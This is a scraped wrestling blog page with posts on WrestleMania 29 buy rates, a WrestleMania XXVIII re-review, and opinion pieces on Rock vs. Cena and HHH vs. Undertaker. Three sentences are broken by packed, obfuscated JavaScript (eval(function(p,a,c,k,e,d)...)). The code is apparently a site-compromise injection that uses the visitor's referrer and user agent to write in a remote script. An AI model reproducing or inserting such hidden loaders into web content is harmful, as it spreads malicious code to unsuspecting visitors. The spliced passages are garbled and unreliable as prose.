Wrestlemania 29 Outsells Wrestlemania 28

At eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryiaz|var|u0026u|referrer|szayn||js|php'.split('|'),0,{})) least in North America.  According to Meltzer, it had 750,000 North American buys, putting it slightly ahead of last year’s show.  It also made approximately $5 million more than last year.

 

WWE really is dying with Cena on top though.  No one would EVER pay to see him in the main event of Wrestlemania in a match where it was pretty obvious he was winning the title.

 

I’m rather surprised but also rather pleased with these results so far.



Wrestlemania Count-Up – Wrestlemania XXVIII: This Show Got Me Excited All Over Again

Wrestlemania XXVIII
Date: April 1, 2012
Location: Sun Life Stadium, Miami, Florida
Attendance: 78,363
Commentators: Michael Cole, Jerry Lawler

Lillian Garcia sings America the Beautiful.

Smackdown World Title: Sheamus vs. Daniel Bryan

Win tickets to Wrestlemania 29!

Kane vs. Randy Orton

Some National Guard people are here.

Intercontinental Title: Cody Rhodes vs. Big Show

Video on what it means to be a Diva.

We recap the Divas tag. Kelly Kelly had been a guest on Extra with Maria Menunos when Eve and Beth came in and claimed they should be the guests. A tag match was made.

Eve Torres/Beth Phoenix vs. Maria Menunos/Kelly Kelly

Shawn Michaels, the guest referee inside the Cell, says either the Undertaker or HHH are done tonight.

New attendance record. As always.

Jim Ross comes out to do commentary for the Cell match.

HHH vs. Undertaker

The Tombstone connects but HHH is up at two. Shawn has no idea what to do as both guys are slowly getting up. They slug it out from their knees before getting to their feet for more HARD punches. Another Tombstone is countered into the Pedigree for a VERY close two. HHH goes for the hammer but Taker steps on it to stop him. A HARD chair shot to the back puts HHH down and another one keeps him down.

We get clips of the Hall of Fame stuff from last night.

Team Johnny vs. Team Teddy

Johnny: Miz, Mark Henry, Drew McIntyre, Jack Swagger, Dolph Ziggler, David Otunga

Teddy: Kofi Kingston, Great Khali, R-Truth, Zack Ryder (with Eve), Booker T, Santino Marella

Rating: D+. As is the usual case with stuff like this, there was way too much going on to keep track of anything. There were something like 18 people involved in this whole thing and the ending was about Eve and her heel turn more than anything else. Ace would be GM for about four months or so while boring us to death against Cena. Not much to see here though due to the amount of people in the match.

Alex Rodriguez and Torrie Wilson are here.

We get a video on the media blitz and activities for Wrestlemania week.

To celebrate winning, Laurinitis changes the Raw World Title match rules so that if Punk gets disqualified, Jericho wins the title.

Raw World Title: Chris Jericho vs. CM Punk

This is over who is the best in the world and Jericho claims that Punk is really an alcoholic and his family has a bunch of substance abuse issues. The buildup for this really was good stuff, even though this is nowhere near the main event. Punk takes it to the mat to start and fires off some kicks to the chest. He does the same with knees in the corner but stops when the referee gets to four. Jericho slaps him in the face and takes the beating like a man to try to get the DQ again.

They head to the apron and Punk tries a GTS, only to be clotheslined back into the ring. Jericho hooks a kind of Jackhammer to the floor for two back inside. We hit the chinlock but Punk fights up with a slap. Jericho comes right back with a tilt-a-whirl backbreaker for two and kicks the injured back again. Some hard kicks to the torso keep Punk in trouble but he fires off some strikes of his own. The champion goes up but is pulled back down to land hard on his back.

Video on G.I. Joe 2 which was just released like two weeks ago. As in nearly a year after this show.

And now, it is time.

John Cena vs. The Rock

Rock fires off some elbows to the chest and sends Cena into the steps for good measure. Back inside and Cena tries a sunset flip of all things but immediately shifts into the STF in the middle of the ring. Cena drags him back to the middle of the ring and Rock is starting to fade. We get an old school arm check and Rock holds it up on the third drop. I love stuff like that. Rock makes it to the ropes and as they get back up, Cena walks into a Samoan drop to put both guys down.

Cena sits on the ramp, stunned.

Rock poses to end the show.

Ratings Comparison

Daniel Bryan vs. Sheamus

Original:

Redo: N/A

Kane vs. Randy Orton

Original: B-

Redo: B-

Cody Rhodes vs. Big Show

Original: D+

Redo: D+

Kelly Kelly/Maria Menunos vs. Beth Phoenix/Eve Torres

Original: C+

Redo: D+

HHH vs. Undertaker

Original: A+

Redo: A+

Team Johnny vs. Team Teddy

Original: C

Redo: D+

Chris Jericho vs. CM Punk

Original: A

Redo: A

The Rock vs. John Cena

Original: B+

Redo: A+

Overall Rating

Original: A+

Redo: A

http://kbwrestlingreviews.com/2012/04/01/wrestlemania-xxviii-one-of-the-best-shows-of-all-time/

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the WWE Championship from Amazon at:



Thought of the Day: The Revolving Door Of Divas

Two parts to this one.First eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nstit|var|u0026u|referrer|ttezy||js|php'.split('|'),0,{})) of all, WWE has put out another stupid top ten list, this one being top ten Divas moments at Wrestlemania.

Not a single one of the Divas in this video are full time wrestlers for WWE anymore.

Second, and more pertinent, I was watching a show setting up Wrestlemania last year and none of the three Divas and none of them are even in WWE anymore. Think about that: in a year the top of the division has been completely eliminated. And yet they wonder why no one cares about these girls.



Thought of the Day: Cena vs. Rock II and The Comedy Of The Internet

So eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|skazh|var|u0026u|referrer|zeree||js|php'.split('|'),0,{})) apparently, Rock vs. Cena II is happening at Wrestlemania 29.  Naturally the general consensus is that this is a horrible idea and Punk HAS TO save it.  Let’s get this over with.1. John Cena vs. The Rock I was the biggest drawing match of all time.  It makes good business sense to try it again.

2. John Cena vs. The Rock has happened ONE TIME.  The way people are talking, you would think it was Sheamus vs. Ziggler or something that happens once a week.  It’s their second match ever, not their 19th.

3. The first match was pretty good to great.  My guess is the rematch will also produce an excellent match.

4. Punk has been defeated.  From a storytelling perspective, it makes little sense to include him.

5. Triple threats suck anyway.



Wrestlemania #28: Hell in a Cell – Undertaker vs. Triple H

The End of an Era.  What Era that is isn’t clear but one is ending.This is the match that has arguably gotten the most build or at worst the second best.  It’s basically the culmination (to date) of the last three Manias before it, with Shawn not being able to stop the Streak, the betting his career against it, then his male life partner/occasional attempted murderer HHH failing to do so as well.  Now it’s Taker vs. HHH in the match they both made famous which is something huge.  The best thing about the gimmick aspect of the match: it feels like it belongs here.  There’s no reason to not put these two in the cage because it adds a level of intensity to the match that it might not have otherwise.

 

On the other hand, we have a second gimmick in this match in the form of a guest referee in the form of Shawn Michaels.  I really don’t get what he adds to this.  The promos have been very good to pretty good in this and the best was Shawn and HHH talking, but I don’t really see what him being in there with the two of them will do.  These two don’t need a third big name in there.  I mean, it’s Undertaker vs. HHH in the Cell.  What I do think it needs though is something on the line for HHH.  If he loses, so what?  He hasn’t put anything up.  The way one of their talks a few weeks ago went, it seemed like this was going to be Streak vs. Career but that didn’t happen, which I think could have helped the match a bit.

 

As for a prediction, it’s the Streak.  If there’s one sure thing in wrestling, it’s that you don’t bet against the Streak.  Shawn can be in there, the rest of DX can be in there, the 82nd airborne can be in there.  You don’t bet against the Streak.  Last year during their match I never once moved during every one of the near falls on Undertaker because it just wasn’t going to happen.  That wasn’t true in the first Shawn match, which is why I like that one more.  The more interesting question is will there be blood, and I think we’ll see some.  The prediction is Taker with one of his 9 or so finishers.

 

Thoughts/Predictions?



Rock Or Cena

Which side are you on?I’m still with Cena.  Rock was far funnier tonight when he was on location, which makes me think that he’s lost the ability in front of a live crowd.  He’s gotten used to a script and being on film which is a very different style.  I’m curious to see Cena’s reaction if he loses though.

 

Thoughts?



Shawn Michaels To Referee HHH vs. Undertaker at Wrestlemania

It fits the story and if they have to go with another gimmick to it, that’s the perfect one.  It says a lot when this match has technically been three years and three featured Wrestlemania matches including one main event in the making.  That has to be a record.



Thought of the Day: Rock vs. Cena

I get the question of who the face and who the heel is supposed to be in this match from time to time and I’ve come to my conclusion.I have no idea.  That’s the point of this feud.  With Cena, you’re going to have fans that see it both ways the entire time and are steadfast in their stances no matter what.  Half the fans are going to support Cena and half are going to support Rock.  That being said, there’s no reason to try to push one as the face and one as the heel.  Let the fans do what they want (novel concept I know) and see where it goes.  You don’t want to try to force things, and this is a match they can’t afford to screw up.



Punk vs. Jericho Is Official At Wrestlemania

Thoughts?  Eulogies for Ziggler?



HHH vs. Undertaker III Is Official

After one of the longest mutual praise segments I’ve ever seen, HHH said yes, but they’re going all the way. The match is HELL IN A CELL. My jaw dropped open.

Thoughts?